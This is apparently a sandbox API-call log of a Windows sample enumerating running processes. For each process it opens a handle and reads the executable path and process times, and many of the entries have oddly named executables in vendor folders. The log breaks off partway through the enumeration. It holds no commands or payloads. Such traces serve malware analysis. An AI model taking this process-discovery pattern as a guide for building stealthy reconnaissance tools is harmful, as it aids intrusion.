[0083.460] Process32NextW (in: hSnapshot=0xe8, lppe=0x12b868 | out: lppe=0x12b868*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
[0083.460] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x144) returned 0x0
[0083.461] Process32NextW (in: hSnapshot=0xe8, lppe=0x12b868 | out: lppe=0x12b868*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
[0083.461] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x174) returned 0x0
[0083.461] Process32NextW (in: hSnapshot=0xe8, lppe=0x12b868 | out: lppe=0x12b868*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
[0083.462] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x180) returned 0x0
[0083.462] Process32NextW (in: hSnapshot=0xe8, lppe=0x12b868 | out: lppe=0x12b868*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
[0083.463] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1a8) returned 0x0
[0083.463] Process32NextW (in: hSnapshot=0xe8, lppe=0x12b868 | out: lppe=0x12b868*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
[0083.463] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1d4) returned 0x0
[0083.463] Process32NextW (in: hSnapshot=0xe8, lppe=0x12b868 | out: lppe=0x12b868*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
[0083.464] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1dc) returned 0x0
[0083.464] Process32NextW (in: hSnapshot=0xe8, lppe=0x12b868 | out: lppe=0x12b868*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
[0083.465] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1e4) returned 0x0
[0083.465] Process32NextW (in: hSnapshot=0xe8, lppe=0x12b868 | out: lppe=0x12b868*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
[0083.465] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x250) returned 0x0
[0083.465] Process32NextW (in: hSnapshot=0xe8, lppe=0x12b868 | out: lppe=0x12b868*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
[0083.466] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x290) returned 0x0
[0083.466] Process32NextW (in: hSnapshot=0xe8, lppe=0x12b868 | out: lppe=0x12b868*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
[0083.467] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2c4) returned 0x0
[0083.467] Process32NextW (in: hSnapshot=0xe8, lppe=0x12b868 | out: lppe=0x12b868*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
[0083.467] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x324) returned 0x0
[0083.467] Process32NextW (in: hSnapshot=0xe8, lppe=0x12b868 | out: lppe=0x12b868*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
[0083.468] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x34c) returned 0x0
[0083.468] Process32NextW (in: hSnapshot=0xe8, lppe=0x12b868 | out: lppe=0x12b868*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
[0083.469] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x38c) returned 0x0
[0083.469] Process32NextW (in: hSnapshot=0xe8, lppe=0x12b868 | out: lppe=0x12b868*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
[0083.469] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3dc) returned 0x0
[0083.470] Process32NextW (in: hSnapshot=0xe8, lppe=0x12b868 | out: lppe=0x12b868*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
[0083.470] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x42c) returned 0x0
[0083.470] Process32NextW (in: hSnapshot=0xe8, lppe=0x12b868 | out: lppe=0x12b868*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
[0083.471] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x488) returned 0x0
[0083.471] Process32NextW (in: hSnapshot=0xe8, lppe=0x12b868 | out: lppe=0x12b868*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
[0083.472] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4d0) returned 0x0
[0083.472] Process32NextW (in: hSnapshot=0xe8, lppe=0x12b868 | out: lppe=0x12b868*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
[0083.472] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x560) returned 0x10c
[0083.472] LoadLibraryW (lpLibFileName="psapi.dll") returned 0x760d0000
[0083.475] GetProcAddress (hModule=0x760d0000, lpProcName="GetModuleBaseNameW") returned 0x760d152c
[0083.475] GetProcAddress (hModule=0x760d0000, lpProcName="EnumProcessModules") returned 0x760d1408
[0083.475] GetProcAddress (hModule=0x760d0000, lpProcName="GetModuleFileNameExW") returned 0x760d13f0
[0083.475] GetProcAddress (hModule=0x760d0000, lpProcName="EnumProcesses") returned 0x760d1544
[0083.475] GetProcAddress (hModule=0x760d0000, lpProcName="GetModuleInformation") returned 0x760d1420
[0083.475] GetModuleFileNameExW (in: hProcess=0x10c, hModule=0x0, lpFilename=0x12b65c, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\taskhost.exe" (normalized: "c:\\windows\\system32\\taskhost.exe")) returned 0x20
[0083.475] wcscpy (in: _Dest=0x12ba98, _Source="C:\\Windows\\system32\\taskhost.exe" | out: _Dest="C:\\Windows\\system32\\taskhost.exe") returned="C:\\Windows\\system32\\taskhost.exe"
[0083.475] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76350000
[0083.475] GetProcAddress (hModule=0x76350000, lpProcName="GetProcessTimes") returned 0x7638f626
[0083.476] GetProcessTimes (in: hProcess=0x10c, lpCreationTime=0x12bca8, lpExitTime=0x12bcb0, lpKernelTime=0x12bcb8, lpUserTime=0x12bcc0 | out: lpCreationTime=0x12bca8, lpExitTime=0x12bcb0, lpKernelTime=0x12bcb8, lpUserTime=0x12bcc0) returned 1
[0083.476] CloseHandle (hObject=0x10c) returned 1
[0083.476] Process32NextW (in: hSnapshot=0xe8, lppe=0x12b868 | out: lppe=0x12b868*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
[0083.476] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x578) returned 0x0
[0083.476] Process32NextW (in: hSnapshot=0xe8, lppe=0x12b868 | out: lppe=0x12b868*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
[0083.477] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x5d4) returned 0x10c
[0083.477] GetModuleFileNameExW (in: hProcess=0x10c, hModule=0x0, lpFilename=0x12b65c, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\Dwm.exe" (normalized: "c:\\windows\\system32\\dwm.exe")) returned 0x1b
[0083.478] wcscpy (in: _Dest=0x12ba98, _Source="C:\\Windows\\system32\\Dwm.exe" | out: _Dest="C:\\Windows\\system32\\Dwm.exe") returned="C:\\Windows\\system32\\Dwm.exe"
[0083.478] GetProcessTimes (in: hProcess=0x10c, lpCreationTime=0x12bca8, lpExitTime=0x12bcb0, lpKernelTime=0x12bcb8, lpUserTime=0x12bcc0 | out: lpCreationTime=0x12bca8, lpExitTime=0x12bcb0, lpKernelTime=0x12bcb8, lpUserTime=0x12bcc0) returned 1
[0083.478] CloseHandle (hObject=0x10c) returned 1
[0083.478] Process32NextW (in: hSnapshot=0xe8, lppe=0x12b868 | out: lppe=0x12b868*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x5b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
[0083.478] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x5f4) returned 0x10c
[0083.478] GetModuleFileNameExW (in: hProcess=0x10c, hModule=0x0, lpFilename=0x12b65c, nSize=0x104 | out: lpFilename="C:\\Windows\\Explorer.EXE" (normalized: "c:\\windows\\explorer.exe")) returned 0x17
[0083.479] wcscpy (in: _Dest=0x12ba98, _Source="C:\\Windows\\Explorer.EXE" | out: _Dest="C:\\Windows\\Explorer.EXE") returned="C:\\Windows\\Explorer.EXE"
[0083.479] GetProcessTimes (in: hProcess=0x10c, lpCreationTime=0x12bca8, lpExitTime=0x12bcb0, lpKernelTime=0x12bcb8, lpUserTime=0x12bcc0 | out: lpCreationTime=0x12bca8, lpExitTime=0x12bcb0, lpKernelTime=0x12bcb8, lpUserTime=0x12bcc0) returned 1
[0083.479] CloseHandle (hObject=0x10c) returned 1
[0083.479] Process32NextW (in: hSnapshot=0xe8, lppe=0x12b868 | out: lppe=0x12b868*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x680, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x34c, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1
[0083.479] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x680) returned 0x0
[0083.479] Process32NextW (in: hSnapshot=0xe8, lppe=0x12b868 | out: lppe=0x12b868*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x34c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1
[0083.480] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x384) returned 0x0
[0083.480] Process32NextW (in: hSnapshot=0xe8, lppe=0x12b868 | out: lppe=0x12b868*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x34c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1
[0083.481] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4d8) returned 0x10c
[0083.481] GetModuleFileNameExW (in: hProcess=0x10c, hModule=0x0, lpFilename=0x12b65c, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\taskeng.exe" (normalized: "c:\\windows\\system32\\taskeng.exe")) returned 0x1f
[0083.481] wcscpy (in: _Dest=0x12ba98, _Source="C:\\Windows\\system32\\taskeng.exe" | out: _Dest="C:\\Windows\\system32\\taskeng.exe") returned="C:\\Windows\\system32\\taskeng.exe"
[0083.481] GetProcessTimes (in: hProcess=0x10c, lpCreationTime=0x12bca8, lpExitTime=0x12bcb0, lpKernelTime=0x12bcb8, lpUserTime=0x12bcc0 | out: lpCreationTime=0x12bca8, lpExitTime=0x12bcb0, lpKernelTime=0x12bcb8, lpUserTime=0x12bcc0) returned 1
[0083.481] CloseHandle (hObject=0x10c) returned 1
[0083.481] Process32NextW (in: hSnapshot=0xe8, lppe=0x12b868 | out: lppe=0x12b868*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x77c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d4, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
[0083.481] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x77c) returned 0x0
[0083.481] Process32NextW (in: hSnapshot=0xe8, lppe=0x12b868 | out: lppe=0x12b868*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x768, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="specifies.exe")) returned 1
[0083.482] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x768) returned 0x10c
[0083.482] GetModuleFileNameExW (in: hProcess=0x10c, hModule=0x0, lpFilename=0x12b65c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Adobe\\specifies.exe" (normalized: "c:\\program files\\adobe\\specifies.exe")) returned 0x24
[0083.482] wcscpy (in: _Dest=0x12ba98, _Source="C:\\Program Files\\Adobe\\specifies.exe" | out: _Dest="C:\\Program Files\\Adobe\\specifies.exe") returned="C:\\Program Files\\Adobe\\specifies.exe"
[0083.482] GetProcessTimes (in: hProcess=0x10c, lpCreationTime=0x12bca8, lpExitTime=0x12bcb0, lpKernelTime=0x12bcb8, lpUserTime=0x12bcc0 | out: lpCreationTime=0x12bca8, lpExitTime=0x12bcb0, lpKernelTime=0x12bcb8, lpUserTime=0x12bcc0) returned 1
[0083.483] CloseHandle (hObject=0x10c) returned 1
[0083.483] Process32NextW (in: hSnapshot=0xe8, lppe=0x12b868 | out: lppe=0x12b868*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x22c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gunsmarc.exe")) returned 1
[0083.483] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x22c) returned 0x10c
[0083.483] GetModuleFileNameExW (in: hProcess=0x10c, hModule=0x0, lpFilename=0x12b65c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Microsoft.NET\\gunsmarc.exe" (normalized: "c:\\program files\\microsoft.net\\gunsmarc.exe")) returned 0x2b
[0083.484] wcscpy (in: _Dest=0x12ba98, _Source="C:\\Program Files\\Microsoft.NET\\gunsmarc.exe" | out: _Dest="C:\\Program Files\\Microsoft.NET\\gunsmarc.exe") returned="C:\\Program Files\\Microsoft.NET\\gunsmarc.exe"
[0083.484] GetProcessTimes (in: hProcess=0x10c, lpCreationTime=0x12bca8, lpExitTime=0x12bcb0, lpKernelTime=0x12bcb8, lpUserTime=0x12bcc0 | out: lpCreationTime=0x12bca8, lpExitTime=0x12bcb0, lpKernelTime=0x12bcb8, lpUserTime=0x12bcc0) returned 1
[0083.484] CloseHandle (hObject=0x10c) returned 1
[0083.484] Process32NextW (in: hSnapshot=0xe8, lppe=0x12b868 | out: lppe=0x12b868*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="improve corporate vital.exe")) returned 1
[0083.485] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x6f4) returned 0x10c
[0083.485] GetModuleFileNameExW (in: hProcess=0x10c, hModule=0x0, lpFilename=0x12b65c, nSize=0x104 | out: lpFilename="C:\\Program Files\\MSBuild\\improve corporate vital.exe" (normalized: "c:\\program files\\msbuild\\improve corporate vital.exe")) returned 0x34
[0083.485] wcscpy (in: _Dest=0x12ba98, _Source="C:\\Program Files\\MSBuild\\improve corporate vital.exe" | out: _Dest="C:\\Program Files\\MSBuild\\improve corporate vital.exe") returned="C:\\Program Files\\MSBuild\\improve corporate vital.exe"
[0083.485] GetProcessTimes (in: hProcess=0x10c, lpCreationTime=0x12bca8, lpExitTime=0x12bcb0, lpKernelTime=0x12bcb8, lpUserTime=0x12bcc0 | out: lpCreationTime=0x12bca8, lpExitTime=0x12bcb0, lpKernelTime=0x12bcb8, lpUserTime=0x12bcc0) returned 1
[0083.485] CloseHandle (hObject=0x10c) returned 1
[0083.485] Process32NextW (in: hSnapshot=0xe8, lppe=0x12b868 | out: lppe=0x12b868*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="california_hate_gig_hits.exe")) returned 1
[0083.485] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x148) returned 0x10c
[0083.486] GetModuleFileNameExW (in: hProcess=0x10c, hModule=0x0, lpFilename=0x12b65c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Adobe\\california_hate_gig_hits.exe" (normalized: "c:\\program files\\adobe\\california_hate_gig_hits.exe")) returned 0x33
[0083.486] wcscpy (in: _Dest=0x12ba98, _Source="C:\\Program Files\\Adobe\\california_hate_gig_hits.exe" | out: _Dest="C:\\Program Files\\Adobe\\california_hate_gig_hits.exe") returned="C:\\Program Files\\Adobe\\california_hate_gig_hits.exe"
[0083.486] GetProcessTimes (in: hProcess=0x10c, lpCreationTime=0x12bca8, lpExitTime=0x12bcb0, lpKernelTime=0x12bcb8, lpUserTime=0x12bcc0 | out: lpCreationTime=0x12bca8, lpExitTime=0x12bcb0, lpKernelTime=0x12bcb8, lpUserTime=0x12bcc0) returned 1
[0083.486] CloseHandle (hObject=0x10c) returned 1
[0083.486] Process32NextW (in: hSnapshot=0xe8, lppe=0x12b868 | out: lppe=0x12b868*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="streamnomirrorsgrew.exe")) returned 1
[0083.486] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x468) returned 0x10c
[0083.486] GetModuleFileNameExW (in: hProcess=0x10c, hModule=0x0, lpFilename=0x12b65c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Google\\streamnomirrorsgrew.exe" (normalized: "c:\\program files\\google\\streamnomirrorsgrew.exe")) returned 0x2f
[0083.487] wcscpy (in: _Dest=0x12ba98, _Source="C:\\Program Files\\Google\\streamnomirrorsgrew.exe" | out: _Dest="C:\\Program Files\\Google\\streamnomirrorsgrew.exe") returned="C:\\Program Files\\Google\\streamnomirrorsgrew.exe"
[0083.487] GetProcessTimes (in: hProcess=0x10c, lpCreationTime=0x12bca8, lpExitTime=0x12bcb0, lpKernelTime=0x12bcb8, lpUserTime=0x12bcc0 | out: lpCreationTime=0x12bca8, lpExitTime=0x12bcb0, lpKernelTime=0x12bcb8, lpUserTime=0x12bcc0) returned 1
[0083.487] CloseHandle (hObject=0x10c) returned 1
[0083.487] Process32NextW (in: hSnapshot=0xe8, lppe=0x12b868 | out: lppe=0x12b868*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cliff_types.exe")) returned 1
[0083.487] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x810) returned 0x10c
[0083.487] GetModuleFileNameExW (in: hProcess=0x10c, hModule=0x0, lpFilename=0x12b65c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Windows Defender\\cliff_types.exe" (normalized: "c:\\program files\\windows defender\\cliff_types.exe")) returned 0x31
[0083.488] wcscpy (in: _Dest=0x12ba98, _Source="C:\\Program Files\\Windows Defender\\cliff_types.exe" | out: _Dest="C:\\Program Files\\Windows Defender\\cliff_types.exe") returned="C:\\Program Files\\Windows Defender\\cliff_types.exe"
[0083.488] GetProcessTimes (in: hProcess=0x10c, lpCreationTime=0x12bca8, lpExitTime=0x12bcb0, lpKernelTime=0x12bcb8, lpUserTime=0x12bcc0 | out: lpCreationTime=0x12bca8, lpExitTime=0x12bcb0, lpKernelTime=0x12bcb8, lpUserTime=0x12bcc0) returned 1
[0083.488] CloseHandle (hObject=0x10c) returned 1
[0083.488] Process32NextW (in: hSnapshot=0xe8, lppe=0x12b868 | out: lppe=0x12b868*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="shakespeare.exe")) returned 1
[0083.489] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x820) returned 0x10c
[0083.489] GetModuleFileNameExW (in: hProcess=0x10c, hModule=0x0, lpFilename=0x12b65c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Windows Journal\\shakespeare.exe" (normalized: "c:\\program files\\windows journal\\shakespeare.exe")) returned 0x30
[0083.489] wcscpy (in: _Dest=0x12ba98, _Source="C:\\Program Files\\Windows Journal\\shakespeare.exe" | out: _Dest="C:\\Program Files\\Windows Journal\\shakespeare.exe") returned="C:\\Program Files\\Windows Journal\\shakespeare.exe"
[0083.489] GetProcessTimes (in: hProcess=0x10c, lpCreationTime=0x12bca8, lpExitTime=0x12bcb0, lpKernelTime=0x12bcb8, lpUserTime=0x12bcc0 | out: lpCreationTime=0x12bca8, lpExitTime=0x12bcb0, lpKernelTime=0x12bcb8, lpUserTime=0x12bcc0) returned 1
[0083.489] CloseHandle (hObject=0x10c) returned 1
[0083.489] Process32NextW (in: hSnapshot=0xe8, lppe=0x12b868 | out: lppe=0x12b868*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="collectables_technical.exe")) returned 1
[0083.490] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x830) returned 0x10c
[0083.490] GetModuleFileNameExW (in: hProcess=0x10c, hModule=0x0, lpFilename=0x12b65c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Microsoft Office\\collectables_technical.exe" (normalized: "c:\\program files\\microsoft office\\collectables_technical.exe")) returned 0x3c
[0083.490] wcscpy (in: _Dest=0x12ba98, _Source="C:\\Program Files\\Microsoft Office\\collectables_technical.exe" | out: _Dest="C:\\Program Files\\Microsoft Office\\collectables_technical.exe") returned="C:\\Program Files\\Microsoft Office\\collectables_technical.exe"
[0083.490] GetProcessTimes (in: hProcess=0x10c, lpCreationTime=0x12bca8, lpExitTime=0x12bcb0, lpKernelTime=0x12bcb8, lpUserTime=0x12bcc0 | out: lpCreationTime=0x12bca8, lpExitTime=0x12bcb0, lpKernelTime=0x12bcb8, lpUserTime=0x12bcc0) returned 1
[0083.490] CloseHandle (hObject=0x10c) returned 1
[0083.490] Process32NextW (in: hSnapshot=0xe8, lppe=0x12b868 | out: lppe=0x12b868*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pretty guru.exe")) returned 1
[0083.491] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x840) returned 0x10c
[0083.491] GetModuleFileNameExW (in: hProcess=0x10c, hModule=0x0, lpFilename=0x12b65c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Windows Sidebar\\pretty guru.exe" (normalized: "c:\\program files\\windows sidebar\\pretty guru.exe")) returned 0x30
[0083.491] wcscpy (in: _Dest=0x12ba98, _Source="C:\\Program Files\\Windows Sidebar\\pretty guru.exe" | out: _Dest="C:\\Program Files\\Windows Sidebar\\pretty guru.exe") returned="C:\\Program Files\\Windows Sidebar\\pretty guru.exe"
[0083.491] GetProcessTimes (in: hProcess=0x10c, lpCreationTime=0x12bca8, lpExitTime=0x12bcb0, lpKernelTime=0x12bcb8, lpUserTime=0x12bcc0 | out: lpCreationTime=0x12bca8, lpExitTime=0x12bcb0, lpKernelTime=0x12bcb8, lpUserTime=0x12bcc0) returned 1
[0083.491] CloseHandle (hObject=0x10c) returned 1
[0083.491] Process32NextW (in: hSnapshot=0xe8, lppe=0x12b868 | out: lppe=0x12b868*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x850, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="received_suggestions_stopped_emphasis.exe")) returned 1
[0083.492] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x850) returned 0x10c
[0083.492] GetModuleFileNameExW (in: hProcess=0x10c, hModule=0x0, lpFilename=0x12b65c, nSize=0x104 | out: lpFilename="C:\\Program Files\\MSBuild\\received_suggestions_stopped_emphasis.exe" (normalized: "c:\\program files\\msbuild\\received_suggestions_stopped_emphasis.exe")) returned 0x42
[0083.492] wcscpy (in: _Dest=0x12ba98, _Source="C:\\Program Files\\MSBuild\\received_suggestions_stopped_emphasis.exe" | out: _Dest="C:\\Program Files\\MSBuild\\received_suggestions_stopped_emphasis.exe") returned="C:\\Program Files\\MSBuild\\received_suggestions_stopped_emphasis.exe"
[0083.492] GetProcessTimes (in: hProcess=0x10c, lpCreationTime=0x12bca8, lpExitTime=0x12bcb0, lpKernelTime=0x12bcb8, lpUserTime=0x12bcc0 | out: lpCreationTime=0x12bca8, lpExitTime=0x12bcb0, lpKernelTime=0x12bcb8, lpUserTime=0x12bcc0) returned 1
[0083.492] CloseHandle (hObject=0x10c) returned 1
[0083.492] Process32NextW (in: hSnapshot=0xe8, lppe=0x12b868 | out: lppe=0x12b868*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="emerging anniversary muscle cradle.exe")) returned 1
[0083.493] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x860) returned 0x10c
